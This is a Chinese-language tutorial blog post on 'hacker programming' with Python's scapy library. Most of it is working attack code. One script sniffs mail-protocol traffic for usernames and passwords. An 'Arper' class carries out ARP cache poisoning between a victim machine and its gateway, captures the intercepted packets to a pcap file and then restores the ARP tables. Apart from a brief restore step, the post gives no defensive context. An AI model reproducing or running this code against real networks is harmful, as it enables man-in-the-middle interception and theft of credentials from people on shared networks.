首页 > 编程语言 >Python黑客编程之scapy抓包发包

Python黑客编程之scapy抓包发包

时间:2023-02-10 22:57:18浏览次数:40  
标签:ff Python self scapy poison 发包 victim print gateway

目的

  • 用scapy进行二层发包,实现arp欺骗,并抓取本地网卡的数据报,来截获目标机器和网关之间的流量

scapy介绍

  • scapy是python中一个可用于网络嗅探的非常强大的第三方库,可以用它来做packet的嗅探和packet的伪造发包
  • scapy已经在内部实现了大量的网络协议。如DNS、ARP、IP、TCP、UDP等等,可以用它来编写非常灵活实用的工具
  • 不建议在windows上使用scapy,装了npcap和winpcap,还是跑不起来,用kali原装的scapy就很方便
  • scapy进行投毒:发送伪造的arp包,修改目标机器以及网卡的arp缓存,欺骗网卡,让它以为我们是它的目标机器,欺骗目标机器,让它以为我们是它的网关

例子:用scapy抓取邮箱密码

  • 监听本地网卡,过滤常用邮箱端口的流量,通过回调函数将数据包的内容打印出来
from scapy.all import *

def packet_callback(packet):
    if packet[TCP].payload:
        mypacket = str(packet[TCP].payload)
        if 'user' in mypacket.lower() or 'pass' in mypacket.lower():
            print(f"[*] Destination: {packet[IP].dst}")
            print(f"[*] {str(packet[TCP].payload)}")

def main():
    sniff(filter='tcp port 110 or tcp port 25 or tcp port 143',
          prn=packet_callback, store=0)

if __name__ == "__main__":
    main()
  • 效果
    • 登录邮箱

    • 抓取结果

arp投毒代码

  • 通过发arp包并获取响应,根据ip地址获取mac地址
def get_mac(ip):
    packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=ip)
    resp, _ = srp(packet, timeout=2, retry=10, verbose=False)
    for _, r in resp:
        return r[Ether].src
    return None
  • 创建arper类,将目标机器ip和网卡ip参数传递给类属性,并启用poison和sniff线程
class Arper():
    def __init__(self, victim, gateway, interface='en0'):
        self.victim = victim
        self.victim_mac = get_mac(victim)
        self.gateway = gateway
        self.gateway_mac = get_mac(gateway)
        self.interface = interface
        conf.iface = interface
        conf.verb = 0
        print(f"Initialized {interface}: ")
        print(f"Gateway {gateway} is at {self.gateway_mac}")
        print(f"Victim {victim} is at {self.victim_mac}")
        print('-'*30)

    def run(self):
        self.poison_thread = Process(target=self.poison)
        self.poison_thread.start()
        self.sniff_thread = Process(target=self.sniff)
        self.sniff_thread.start()

if __name__ == "__main__":
    [victim, gateway, interface] = [sys.argv[1], sys.argv[2], sys.argv[3]]
    myarp = Arper(victim, gateway, interface)
    myarp.run()
  • poison投毒函数:伪造arp包,不断将本地的mac地址发给目标机器以及网关,将自己伪造成对方的网关和目标机器,以此来截获网关和目标机器间的通信流量
    def poison(self):
        poison_victim = ARP()
        poison_victim.op =2
        poison_victim.psrc = self.gateway
        poison_victim.pdst = self.victim
        poison_victim.hwdst = self.victim_mac
        print(f"ip src: {poison_victim.psrc}")
        print(f"ip dst: {poison_victim.pdst}")
        print(f"mac src: {poison_victim.hwsrc}")
        print(f"mac dst: {poison_victim.hwdst}")
        print(poison_victim.summary())
        print("-"*30)

        poison_gateway = ARP()
        poison_gateway.op = 2
        poison_gateway.psrc = self.victim
        poison_gateway.pdst = self.gateway
        poison_gateway.hwdst = self.gateway_mac
        print(f"ip src: {poison_gateway.psrc}")
        print(f"ip dst: {poison_gateway.pdst}")
        print(f"mac src: {poison_gateway.hwsrc}")
        print(f"mac dst: {poison_gateway.hwdst}")
        print(poison_gateway.summary())
        print("-"*30)

        print(f"Beginning the ARP poison. [CTRL-C to stop]")
        while True:
            sys.stdout.write('.')
            sys.stdout.flush()
            try:
                send(poison_victim)
                send(poison_gateway)
            except KeyboardInterrupt:
                self.restore()
                sys.exit()
            time.sleep(2)
  • sniff嗅探函数,监听本地网卡,捕获网关和目标机器间的通信流量,保存到pcap文件中
    def sniff(self, count=100):
        time.sleep(5)
        print(f"Sniffing {count} "
              f"")
        bpf_filter = "ip host %s " % self.victim
        packets = sniff(count=count, filter=bpf_filter, iface=self.interface)
        wrpcap("arper.pcap", packets)
        print("Got the packets")
        self.restore()
        self.poison_thread.terminate()
        print("Finished.")
  • restore恢复函数,通过发送正确的arp包,恢复目标机器和网关的arp缓存,恢复正常通信
    def restore(self):
        print("Restoring ARP tables...")
        send(ARP(op=2, psrc=self.gateway, hwsrc=self.gateway_mac, pdst=self.victim, hwdst="ff:ff:ff:ff:ff:ff"), count=5)
        send(ARP(op=2, psrc=self.victim, hwsrc=self.victim_mac, pdst=self.gateway, hwdst="ff:ff:ff:ff:ff:ff"), count=5)

效果

  • 程序运行日志
  • 打开截获的通信流量

标签:ff,Python,self,scapy,poison,发包,victim,print,gateway
From: https://www.cnblogs.com/z5onk0/p/17110514.html

相关文章

  • Python 高级编程之IO模型与协程(四)
    目录一、概述二、IO模型1)IO模型准备1、用户空间和内核空间2、进程切换3、进程的阻塞4、文件描述符fd5、缓存I/O2)IO模型详解1、同步阻塞IO(BlockingIO)2、同步非阻塞IO(Non......
  • python中global的用法
    global是python中的一个关键字,作用在变量上,该关键字通常放在函数块中,用来声明该变量为全局变量。例如下面变量a,定义在函数外面的是全局变量a,定义在fun函数里面的a是另一......
  • [oeasy]python0080_设置RGB颜色_24bit_24位真彩色_颜色设置
    RGB颜色回忆上次内容上次首先了解了索引颜色\33[38;5;XXXm设置前景为索引色\33[48;5;XXXm设置背景为索引色RGB每种颜色可选0-5总共6级想用精确RGB值真实地大......
  • python之路68 drf从入门到成神 9 drf_jwt源码执行流程、自定义用户表签发和认证、simp
    drf-jwt源码执行流程(了解)签发(登录)源码分析登录接口,路由匹配成功,执行obtain_jwt_token----》post请求----》ObtainJSONWebToken的post方法path('login/',obtain_jwt......
  • python wxauto+OpenAI 搭了个微信小伙伴
    都知道ChatGPT火,没用过怎么知道他为什么火?于是好奇搞个玩玩。第一步:获取OPENAI_API_KEY首先你能要去官网注册账号后去创建一个keys具体略这一步比较关键,仁者见仁智者......
  • python-日期和时间
    Python提供了一个time和calendar模块可以用于格式化时间。1、time.time():获取当前时间戳importtimeif__name__=='__main__':print('当前时间戳:',time.time())2......
  • python的学习之路之day1
    2023.2.10DAY1python基础课程李洋老师上课顺序:昨日回顾,今日详解主要课程内容介绍python基础网址:https://www.yuque.com/liyangqit/lb35ya/nkp81x面向对象网络和......
  • [oeasy]python0080_设置RGB颜色_24bit_24位真彩色_颜色设置
    RGB颜色回忆上次内容上次首先了解了索引颜色\33[38;5;XXXm设置前景为索引色\33[48;5;XXXm设置背景为索引色RGB每种颜色可选0-5总共6级想......
  • Python 安装库的方法及解决pip 安装时速度缓慢的方法
    pip安装:pip是python内置的非常好用的下载工具,基本可以下载全部的python库。pip是Python库管理工具,该工具提供了对Python库的查找、下载、安装、卸载的功能。pip最常用......
  • 函数基础学习整理-python
    1.数学函数importmathprint('-1的绝对值是{}'.format(abs(-1)))print('divmod函数返回商和余数的元祖{}'.format(divmod(9,3)))#****print('sum函数求和{}'.fo......